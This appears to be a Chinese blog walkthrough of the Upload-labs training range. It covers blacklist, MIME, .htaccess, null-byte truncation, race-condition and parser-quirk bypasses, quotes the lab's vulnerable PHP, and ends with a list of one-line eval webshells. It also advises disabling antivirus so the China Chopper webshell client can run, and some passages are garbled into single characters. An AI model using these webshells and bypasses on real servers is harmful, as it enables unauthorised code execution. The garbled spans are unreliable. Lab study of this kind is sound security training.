首先来勉强讲解一下一个webshell的概念:
定义:【web】需要服务器开放web服务,【shell】取得对服务器某种程度上的操作权限。
以asp、php、jsp、cgi等网页文件形式存在的一种命令执行环境
Upload-labs是一个帮你总结所有类型的上传漏洞的靶场,包括常见的文件上传漏洞
思维脑图
Contens
- 感谢链接:
- 辅助工具:
- 二、Pass3-10:黑名单校验
- 三、Pass9-10:将filename拼接路径会带来极大风险
- 四、 Pass11-12:将filename加入最终路径会带来极大风险
- 五、Pass13-15 (对图片内容进行了检验)文件包含漏洞
- 六、图片二次编码
- 七、条件竞争(多线程发包)
- 八、00截断和move_uploaded_file()函数
- 拓展:
感谢链接:
3、upload-labs刷关记录1-20(有一点解析)
4、Upload-labs通关手册1-19(没有解析,仅仅是上传了成功后的图片)
辅助工具:
(1)、BurpSuite(1-10) : 由于个人win10系统的原因,BP一直都无法打开,所以选择 在 cmd 中打开BurpSuite 。
- 先检查电脑的Java环境是否安装成功,
- 打开命令行**【win + R】,输入java -version来查看*
【如果Java已经安装,你应该可以看到类似于java version "1.8.0_162"的输出。如果需要运行Burp,Java的版本应当不低于1.8.。如果未安装Java,或者您的Java版本低于1.8,则你需要安装或是升级Java。你可以去Oracle官网下载最新的Java运行时环境(JRE),然后运行安装程序,重新打开命令行,再次进行验证。】
- 运行BurpSuite,
java -jar -Xmx4g /path/to/burp.jar(/path/为需要打开的Burp的文件位置)
(2)、 中国菜刀(13-16)
当运行才到出现闪退时,可能是电脑自带的杀毒软件将菜刀拦截了,所以运行时需要将电脑的杀毒软件关闭,否则电脑将会直接拦截操刀。
PS:如果仅仅只需要通关的话,可以直接看通关技巧,本文可能包括函数的篇幅过长。所以不想看的话可以直接看通过技巧。
(3)、二进制编辑器
一、Pass1-10
上传文件的时,如果服务器脚本语言未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件,包括上传脚本文件。
在1-10关中,主要的思路都是对于文件没有严格的验证和过滤。
1、Pass-1:1.客户端校验
(1)、源码分析
函数拓展:substring()、lastIndexOf()、indexOf()、file_exists()
substring:提取A到B之间的字符
string.substring (from A, to B)
lastIndexOf( ) :返回指定的字符串值最后出现的位置,如果指定第二个参数 start,则在一个字符串中的指定位置从后向前搜索。没有找到返回-1。
indexOf() :返回指定的字符串值在字符串中首次出现的位置。
如果没有找到匹配的字符串则返回 -1。
file_exists() :检查文件或目录是否存在
语法:file_exists ( string $filename )
$filename:文件或目录的路径
(1)、查找字符串 "runoob" 最后出现的位置:(**lastindexOf**)
var str="I am from runoob,welcome to runoob site.";
var n=str.lastIndexOf("runoob");
//输出28
(2)、查找字符串 "welcome":(**indexOf**)
var str="Hello world, welcome to the universe.";
var n=str.indexOf("welcome");
//输出 13
(2)、通关技巧:(前端验证绕过)
由原代码可知,在本关中是直接前端对 jpg 进行判断,然后传给后台,并没有进行什么过滤。
1. 上传图片马
2. 用 bp 拦截,将图片马后缀 jpg 改为 php 。
2、Pass-2:服务端MIME类型(content-type)字段校验
提示:
(1)、源码分析
在服务器端对数据包的MIME进行检查,只让Content-Type为image/jpeg | image/png | image/gif 的文件通过。由下可知,它只对Content-Type做了判断,并没有对文件进行判断。因此我们可以上传 .php文件,但是Content-Type改为image/png。
(2)、通过技巧:(Content-Type方式绕过)
方法一:与第一关一样,直接修改后缀名 。
方法二:修改Content-Type,使其满足要求即可。
二、Pass3-10:黑名单校验
3、Pass-3
提示
函数拓展:strrchr ()、strstr() 、strrpos()
strrchr (): 查找指定字符在字符串中的最后一次出现
语法:strrchr ( string $haystack , mixed $needle )
$haystack:被查找的字符串
$needle:出现的部分字符串
该函数返回needle在 haystack 字符串中的最后一次出现的位置后面haystack一部分,拓展:
strstr() - 查找字符串的首次出现
strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置
(1)、源码分析
有提示可知其仅仅不允许 asp,aspx,php,jsp文件,则其对 phtml,php3,php4,php5,pht,htaccess没有进行过滤,那么利用这两种方法进行绕过。
(2)、通过技巧(黑名单绕过)
方法一:修改后缀名
- 将文件后缀改为phtml,php3,php4,php5,pht,直接上传。
方法二:上传图片马
- 上传图片马,然后利用BP拦截,将后缀名 改为phtml,php3,php4,php5,pht。
前两种方法需要在Appache配置文件中有这么一句话。
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
方法三:.htaccess文件
- 利用“ .htaccess ”超文本入口(Hypertext Access)(有时可能某些原因而无法实现)
- 先上传 .htaccess文件,内容为SetHandler
application/x-httpd-php。利用Bp拦截。如图,将文件的名字去掉,只留下后缀.htaccess
- 然后再上传图片马。(无需将图片马的后缀改为php)
htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。及能够将上传的图片马以php的文件格式运行。
发现(2019/7/15)
今天发现当我上传图片后,将会有两个文件上传了,分别是 .jpg 和 .php的格式。
并且网页上也是 .jpg 的格式。(这个现象和第一二关也是相同的结果)
4、Pass-4
提示
(1)、分析
由上一关可知,现在对于php3之类的都被禁止了,但是对于htaccess文件并没有禁止,因此可以利用htaccess文件进行绕过。
(2)、通过技巧(参照第三关方法三)
方法一:htaccess文件
- 修改为htaccess文件
- 上传图片马
方法二:后缀修改为:点+空+点
上传图片马,将图片马后缀 .jpg 改为 .php +点+空+点
不过用这种方法会将 php文件 和 jpg文件 同时上传。如下图:
并且复制网页上传的图片马地址为图片地址而不是php地址,需要手动修改。
5、Pass-5
提示:
(1)、源码分析
有提示可知,本关禁止了上一关的htacess文件。然后源码分析。
函数拓展:trim、strrchr()、str_ireplace()
trim
substr()函数:substr — 返回字符串的子串。
语法:substr ( string $string , int $start [, int $length ] )
$string:输入的字符串; $ start:开始位置; $ length:计算的长度
返回字符串 string 由 start 和 length 参数指定的子字符串。
strrchr()函数 :查找字符串B在另一个字符串A中最后一次出现的位置,并返回从B位置到字符串A结尾的所有字符。
strrchr(string,char)
str_ireplace() 函数:替换字符串A中的一些字符B(不区分大小写)。
str_ireplace(find,replace,string,count)
strrchr函数:搜索 "world" 在字符串中的位置,并返回从该位置到字符串结尾的所有字符:
<?php
echo strrchr("Hello world!","world");
?>
//输出 world!
str_ireplace()函数:把字符串 "Hello world!" 中的字符 "WORLD"(不区分大小写)替换成 "Peter":
<?php
echo str_ireplace("WORLD","LLL","hello world !")
?>
//输出hello LLL !
源码中出现的deldot其实是一个函数,用来利用循环无处文件名末尾的点,即**(除最后一个点外的所有点)**。
由上函数可知,我们可知,如果少了上面任何一个函数都有可能产生漏洞,对此我们可以利用相关的方法对其进行绕过,例如: php.(后面有一个点),php (后面有一个空格),php. .(这里为 ” 点+空格+点 “ )。
(2)、通关技巧
由上可知,源码中没有对后缀名进行统一转换为大小写,所以在本关中,在BP拦截后,将图片马后缀名改为 Php(这么依情况而定,不段的按照图片后缀名大小写去尝试即可 )。
上传成功
并且与此同时图片和php文件都上传了。
6、Pass-6
(1)、源码分析
(2)、通关技巧(加空绕过)
由源码可知,图片并没有对后缀进行去空处理,所以需要利用BP进行加空。
如下图,图片后缀为php+空格
7、Pass-7
(1)、源码分析
(2)、通关技巧(加点绕过)
方法一:加点绕过
由上可知,图片做了去空处理,但是没有做去点处理,所以可以加点绕过。
如下图,图片后缀为php+点 或者php+点+空+点
方法二:利用Windows解析漏洞(后缀修改为1.php:1.jpg)
8、Pass-8
(1)、源码分析
(2)、通关技巧(Windows文件流绕过)
由上可知,文件没有对后缀名进行去”::
D
A
T
A
”
处
理
。
p
h
p
在
w
i
n
d
o
w
的
时
候
如
果
文
件
名
+
"
:
:
DATA”处理。php在window的时候如果文件名+"::
DATA”处理。php在window的时候如果文件名+"::DATA"会把::
D
A
T
A
之
后
的
数
据
当
成
文
件
流
处
理
,
不
会
检
测
后
缀
名
.
且
保
持
"
:
:
DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::
DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::DATA"之前的文件名 他的目的就是不检查后缀名。ps:只能是Windows系统,并且只能时php文件
- 如图 ,在BP中修改图片马的 jpg 的后缀名,将其改为 php ,并且在后面加上 ::$DATA ;
- 在网页上检查图片马的执行情况时,将图片马的后缀名中 ::$DATA ,删去,便可浏览。
如图,这个是没有去掉后缀时,会发生报错。(因为我们实际上传的是PHP文件,即upload文件夹中只有php文件,而不存在带有后缀 ::$DATA的文件)
这是去掉后缀变更成功了。
三、Pass9-10:将filename拼接路径会带来极大风险
9、Pass-9
(1)、源码分析
将 filename 加入路径
(2)、通关技巧(构造后缀名点空绕过)
由上可知,该关进行的是现在文件末尾先去点,再去空便没有再做任何处理,因此我们可以利用这个漏洞,构造后缀名为php+点+空+点
10、Pass-10
(1)、源码分析
(2)、通关技巧(双写绕过)
str_ireplace函数:替换上述文件后缀名为空,但是他只是进行了一次替换,没有多次,所以我们可以通过双写进行绕过 (对大小写不敏感)
上传成功。
四、 Pass11-12:将filename加入最终路径会带来极大风险
get和post方法提交:
get请求: 请求的数据会附加在url之后并且以?分隔url和传输的数据,多个参数之间用&连接, 会在URI中暴露出来 ;
post请求: 把提交的数据放置在http包的包体中,以二进制流的方式进行传送,不会对%00等进行自动解码,并 不会暴露出来。
最后才发现原来,get和post方法在页面html源码上可以找到,并且可以发现get和post传递的相应参数(例如下面的 $save_path和 $save_name),及参数规定的值。
11、Pass-11(GET请求,URL网页上00截断)
(1)、源码分析
$ext_arr = array('jpg','png','gif');//发现是白名单
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
//储存在服务器目录的文件名称
$temp_file = $_FILES['upload_file']['tmp_name'];
//随机生成文件的名称
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
//函数将文件与后缀名直接进行拼接
if(move_uploaded_file($temp_file,$img_path)){
函数拓展:
substr()函数:返回字符串的一部分。
从字符串中返回 "world":
<?php
echo substr("Hello world",6);
?>
//输出world
如下,由源码可得,在这边他直接将后缀名 $file_ext 进行拼接。如果中途在其中加入php后缀,再利用00进行截断,那么便可以将该文件当作php文件进行解析。再者又有 $_GET[‘save_path’],这表示他需要请求 参数save_path,使用GET方法,即我们可以在拦下包的时候 在URI中发现参数 save_path,我们便可以拦下包将save_path 换掉。
HTML页面发现save_path:
(2)、通关技巧(URI中00截断)
方法一:拦包00截断
由源码可知,图片的save_path通过get传递,然后和后缀ima_path直接拼接而成的,所以我们可以直接使用 %00 截断,将后缀名 .jpg 截断,从而以 php 运行。
运行时,与第十关相同,如果图片地址中有 .jpg 的格式,需要截掉。
发现(2019/7/15)
上传了两个文件,并且在网页上也是只有图片的地址。
方法二:前端直接修改为 "php+00截断"格式
如下可得,直接将参数save_path修改为php+00截断的格式,因此它会将之后上传的所有文件以PHP的格式进行解析。
如下,由于我们只上传了1.php文件
因此,当我们需要访问文件时,需要将图片地址**%之后全部删掉**
12、Pass-12(POST请求,二进制文件中00截断)
(1)、源码分析
如下,由源码可知,直接将 $file_ext 拼接在路径中,因此我们可以在中间时将php加在 $file_ext 中,从而以PHP文件解析。再由 $_POST[‘save_path’]请求可知, 参数save_path 虽然不会出现在URI中,但是我们可以在包里面发现他,因此我们可以在包里面对 $file_ext 中进行更改。但是POST是以二进制流进行发送文件,因此我们需要在封包的 二进制文件 中对 $file_ext添加php和对应的 00截断 。
HTML页面发现参数 $save_path:
(2)、通关技巧(二进制00截断)
上传图片马后为如下
然后在上面的upload 的后面加上 XXX.php+(这里的XXX可以为任何名字,他只是一个代号。并且 php后面的 + 好也是一个标记,他的二进制代码为 2b)
由上可知,将二进制中的 + 改为 00 截断,即将 + 的二进制码 2b 改为 00 .
意外发现:文件覆盖
由于名字可以不相同,及我们可以任意定义uploads旁边的 PHP 文件名,如果将文件名改为uploads中本身存在的文件,那么新的文件将会覆盖原来的文件。
19.Pass-19 (便于比较)
(1)、源码分析
如下,由源码可知,该文件中图片路径也是拼接而成没并且加入了 $file_name,因此我们可以在中途修改 $file_name。再者 由于 $file_name = $_POST[‘save_name’]; 可得,我们可知我们在包中可以发现 参数save_name ,因此我们可以在save_path中加入php+00截断,由于是POST发送方式,因此我们需要在二进制文件中加入00截断。
(2)、通关技巧(二进制00截断)
五、Pass13-15 (对图片内容进行了检验)文件包含漏洞
13.Pass-13
(1)、源码分析
由下可知,他只是对文件的头两个字节进行了判断,因此我们可以直接上传图片马
(2)、通关技巧(利用文件包含漏洞)
方法一:(本身就存在文件包含漏洞 )
上传成功。但还需要利用里面本身存在的文件包含漏洞。
方法二:(构造文件包含漏洞)
上传成功
14.Pass-14
函数拓展:getimagesize()
(1)、源码分析
(2)、通关技巧
15.Pass-15
函数拓展:exif_imagetype()
(1)、源码分析
(2)、通关技巧
六、图片二次编码
16.Pass-16
(1)、源码分析
函数拓展:
[ F I L E 数 组 内 容 ] ( h t t p s : / / w w w . c n b l o g s . c o m / l a i j i n q u a n / p / 8682282. h t m l ) ( FILE数组内容](https://www.cnblogs.com/laijinquan/p/8682282.html) ( FILE数组内容](https://www.cnblogs.com/laijinquan/p/8682282.html)(_FILE[“file”][“tmp_name”];其中file为前台上传文件的名称,而tmp_name是包含路径的新的文件名。)
$_FILES[‘myFile’][‘name’] 客户端文件的原名称。
$_FILES[‘myFile’][‘type’] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES[‘myFile’][‘size’] 已上传文件的大小,单位为字节。
$_FILES[‘myFile’][‘tmp_name’] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];/**/获得上传文件名字**
$filetype = $_FILES['upload_file']['type'];//**后缀类型**
$tmpname = $_FILES['upload_file']['tmp_name'];/**/临时文件名字**
$target_path=UPLOAD_PATH.'/'.basename($filename);//**获得临时文件的路径的名字**
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);/**/文件后缀**
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){**//将临时文件放在路径下面**
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);//二次**渲染图片,并且检验图片是否为jpg的格式,并且返回ture或者false**
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);//**根据路径删除临时文件**
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";//**生成新图片的名字**
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;//**生成新图片的路径**
imagejpeg($im,$img_path);//**将新图片放到该路径下**
@unlink($target_path);//**删除临时图片**
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
(2)、通关技巧
七、条件竞争(多线程发包)
17、Pass-17
(1)、源码分析
函数拓展:
rename() 函数 :重命名文件或目录。
如果成功,该函数返回 TRUE。如果失败,则返回 FALSE。
rename(oldname,newname,context)
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];//客户端的文件名
$temp_file = $_FILES['upload_file']['tmp_name'];//临时文件名路径名称
$file_ext = substr($file_name,strrpos($file_name,".")+1);//截取文件的后缀
$upload_file = UPLOAD_PATH . '/' . $file_name;//拼接生成客户端文件的路径名称
if(move_uploaded_file($temp_file, $upload_file)){//将临时文件放到制定路径中
if(in_array($file_ext,$ext_arr)){//由此可见是白名单,因为只允许 jpg、png、gif 格式上传
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;//生成新的文件名
rename($upload_file, $img_path);//对文件进行重命名,并将新的文件目录覆盖到原来的文件目录上。
$is_upload = true;
(2)、通关技巧
当我们上传web shell文件时,不会先限制php类型文件上传,先利用上面的语句把上传的文件临时存放。再执行下面的if语句进行文件类型的限制和文件名的时间戳。然后执行
if(move_uploaded_file($temp_file, $upload_file))//移动到新文件夹
绕过思路:利用文件重命名过程中有耗费时间的过程。临时webshell文件保存的极短时间,去访问webshell。获取一些信息。
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。(即当线程足够的时候 ,将可能会跳过某个步骤,而直接访问到我们的 webshell )
(2019/7/9 系统执行过程为:当 jpg 图片上传时, 后台先生成图片的临时文件名$ tem_file路径,并且他也会拼接生成一个新的文件名 $ upoad_load路径,然后将临时文件名 $ tem_file的路径放到新的文件名$ upoad_load的路径下面。之后对图片进行后缀检验 ,如果为白名单 jpg、png、gif的格式,那么将生成一个新的文件名 $ img_path路径, 并用新的路径名对之前的$ upoad_load的路径名 进行重命名覆盖。
因此,我们可以利用判断白名单时间差,结合多线程不断地对系统发送图片马php文件,当线程足够时,然后我们便能利用这个时间差,即系统没有反应过来时绕过白名单判断,成功向在文件夹中发送图片马php文件)
空载荷Null payloads:将会以封包的形式整个发送。
simple list:将会以(被选中)载荷的形式不断的发送。
以下为修改线程:(太小可能会看不见效果),最后点击start attack
上传成功。(在文件夹看见一个一闪一闪的php文件)
18.Pass-18
(1)、源码分析
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
//源码隐藏了,其实在这边MyUpload是一个类,这句代码的意思是定义 了MyUpload的类,
//名字为 $ u ,
$status_code = $u->upload(UPLOAD_PATH);
//这边也隐藏了函数,Upload为一个函数,将会返回以下 switch 里面case相关的值。
switch ($status_code) {
case 1://为正常格式
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break;
case 2:
$msg = '文件已经被上传,但没有重命名。'; break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。'; break;
case -2:
$msg = '上传失败,上传目录不可写。'; break;
case -3:
$msg = '上传失败,无法上传该类型文件。'; break;
case -4:
$msg = '上传失败,上传的文件过大。'; break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。'; break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。'; break;
default:
$msg = '未知错误!'; break;
}
}
//myupload.php
class MyUpload{
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );//黑名单
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();//文件是否成功上传
//$this->是指向对象的XXX。在这边>isUploadedFile()是指函数是否是以POST形式上传,即能够判断函数是否可以返回成功。
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
//**resultUpload( $ret)**这个函数将会返回switch中case的相关值,从而确定switch函数的执行。
//它的执行过程为 $ret 作为相关值传递给函数resultUpload()(里面也是 switch的相关函数,
从而达到返回 switch 中不同case的目的。)从而触发相关属性。
$ret = $this->setDir( $dir );//文件目录是否成功设置
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();//文件扩展名即后缀是否符合条件(黑名单)
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();//文件大小是否符合条件
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){//文件是否存在
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();//是否成功复制上传,如果存在相同的文件名将不会成功上传
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){ //是否用$im_path成功给$upload_file重命名
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
由源码分析可得
if( $this->cls_rename_file == 1 ){ //是否用$im_path成功给$upload_file重命名
这边和第17关有点类似,都对关键进行了重命名,由于我们是利用burp不断的发送相同的包,那么一旦有两个包同时传到这边是,那么系统对一个重命名时,另一个刚好“逃脱”了,那么上传成功。
(2)、通关技巧
在这关是一个白名单,利用了appche的一个解析漏洞,它会将 “ .php.7z ” 当作 .php来解析,而刚好 “ .php.7z ”又属于白名单,所以上传一个 “ .php.7z ” 的文件,然后 再利用条件竞争漏洞进行多线程不断的发送 “ .php.7z”的文件,由于版本问题,这次的文件没有上传到upload的文件夹下面,而是上传到 WWW 的文件夹下面,但是不影响,并且这次的文件上传后就不会被删掉,就会保存在 该文件夹下面,这样的话我们将可以稳定的访问到。
八、00截断和move_uploaded_file()函数
19.Pass-19(POST)
(1)、源码分析
函数拓展:pathinfo()、move_uploaded_file()
pathinfo()函数:以数组的形式返回关于文件路径的信息。
pathinfo(path,options)
move_uploaded_file(A,B)函数:此函数将会检查文件A是否是合法的上传文件,如果是,将把文件A移动到B的目录下;否则将会返回false,并且不执行任何操作。
if (file_exists(UPLOAD_PATH)) {
//黑名单
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//**返回文件后缀名**
if(!in_array($file_ext,$deny_ext)) {//黑名单判断
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
如下,由源码可得,最后图片的名字 $file_name 拼接而成,因此如果在中途将 $file_name 换掉,最开始 $file_name = upload-19.jpg,如果我们中途将他换成 upload-19.php +(二进制00截断)那么便可以以我们想要的格式执行。
(2)、通关技巧(00截断)
方法一:00截断
将2b改为00
成功上传查看时,如果后缀为 jpg 可能不成功,那么我们可以将 jpg 改为 php .
修改后。
方法二:利用move_uploaded_file()函数和黑名单结合存在的漏洞
move_uploaded_file(A,B)函数:此函数将会检查文件A是否是合法的上传文件,如果是,将把文件A移动到B的目录下;否则将会返回false,并且不执行任何操作。
由于这里利用了黑名单,则move_uploaded_file()函数在判断时只会判断是否为黑名单,如果不是,那么他将会直接将文件保存在指定目录下。所以在这里我们利用 “/.”(斜杠点)和“ ”(空格)进行绕过。
(1)、 “/.”(斜杠点)
(2)、“ ”(空格)
方法三:Windows冒号截断
20、Pass-20
https://blog.csdn.net/kekefen01/article/details/90346413
(1)、源码分析
(2)、通关技巧
拓展:
1、一句话木马:
指的是一句简单的脚本语言。
php:<?php @eval($_post['pass']);?>
asp:<%eval request ("pass")%>
aspx:<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>
<?php
$POST['POST']='assert';
$array[]=$POST;
$array[0]['POST']($_POST['assert']);
?>
2019/7/10
有的时候在BP上传的图片位置和页面图片的位置会不相同????
因为一个只是上传后图片经过后台编码所得的地址,但是由于系统本身的原因,例如 1.php:1.jpg ;冒号后面的会直接性截断,因此在文件夹中只会显示 1.php ,但是实际地址却是显示 1.php:1.jpg 。
BP上上传的:
复制时的:
文件上传漏洞巧妙绕过:
链接1:(姿势很巧妙,并且博主的博客很多,很细致,值得细细研究哦!)https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/
链接2:(内容很全,概括的也多的,并且引用详细,如果不清楚值得做参考。)
https://www.cnblogs.com/shellr00t/p/6426945.html
总结:
(1)、寻找上传点–>上传木马
(2)、XSS被动攻击
首先判断版本IS6.0的解析漏洞
(1)、没有过滤:四种工具(过waf的能力):菜刀、冰蝎、蚁剑、
没有使用白名单的都会有问题。传上去:<–找文件路径(1、路劲:反弹路径名称、post,request,可能直接显示网页,2、不知路径:爆破目录—>upload路劲)
二、规定只能,,,
黑名单:必须上传
- 制作图片马(无法直接解释执行),执行办法:
1、定义路径,.php…asp等
2、。htaccsee采用,,,规则,自己定义后缀
3、采用include方式,把图片引用到某一个php中运行,(后台当中),利用后台
4、其他,is的解析漏洞,cer,php3,php4,php5,
5、其他:多能空间(什么文件都可运行),tomcat(),运行php,
6、00截断(各种截断,利用为协议或者保存时文件发生改变),.php%00jpe
7、客户端验证:全部都可以绕过
8、操作系统特性:例如:文件 只能存288个字符如果没有哈希,那么可以利用,Windows7.0,Windows8.0等等
9、后台保存路径和后缀名的默认格式:模板编辑器(保存配置)例如:config.php 封闭前面
文件解析漏洞(即中间件漏洞)
关于以上漏洞的相关原理,例如00截断,空格截断等等。
文件解析漏洞:是指中间件(Apache、nginx、iis等)在解析文件时出现了漏洞,从而,黑客可以利用该漏洞实现非法文件的解析。
https://mp.weixin.qq.com/s?__biz=MzI2OTMzNjg4OQ==&mid=2247484567&idx=1&sn=21003b36b697d368196fc499bdadd341&chksm=eae0acc1dd9725d754c0a09453d710741f153397b78db30008de60b7f281e6fe06f4fb1b14b0&mpshare=1&scene=23&srcid=&sharer_sharetime=1563927230511&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
(1)、PHP解析漏洞
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,一直到找到可识别后缀为止,然后将该可识别后缀进解析。Apache的文件解析过程是从右到左开始判断解析,如果为不可识别的后缀解析,就再往左判断。
在Apache的解析中,除了“php|php3|phtml”等规定的后缀中,任何的后缀加入,都是不会被识别解析的,也会被跳过后缀处理。
(2)、PHP CGI解析漏洞
当php的配置文件中的选项cgi.fix_pathinfo = 1开启时,当访问http://www.xxxx.com/a.txt/a.php时,若a.php不存在,则PHP会递归向前解析,将a.txt当作php脚本来解析。
IIS中:任意文件名/任意文件名.php就会被解析为php
Nginx中:任意文件名/任意文件名.php就会被解析为php
(3)、操作系统限制解析漏洞
由于windows系统会将文件的后缀名中空格以及点进行过滤,如果遇到是黑名单校验的,如限制不允许上传PHP文件,而受害者系统又是windows系统,那么我们可以上传jaky.php ,或者jaky.php.通过这种方式就可以绕过黑名单检验的文件上传。
(4)、文件头欺骗漏洞
一般GIF图片用文本编辑器打开的时候,可以看到文件头是采用了“GIF89a”的字样。
(5)filepath/filetype漏洞
filepath漏洞是为了防止上传文件被重新命名归置文件而诞生的另一种攻击手段。我们可以Burp抓包来更改数据包里面的内容。将“filepath”中加入自己创建的路径名来篡改上传的文件的路径。
2、filetype漏洞主要的利用方式是利用请求数据包中的“content-type”字段.将正常请求数据包中的“content-type:images/jpeg”更改为“content-type:text/asp”再对请求的文件进行空字节截断的方式配合攻击。
(6)、空字节截断利用漏洞(%00)
(7)、iconv函数限制上传
(8)、双文件并发上传漏洞(及条件竞争漏洞)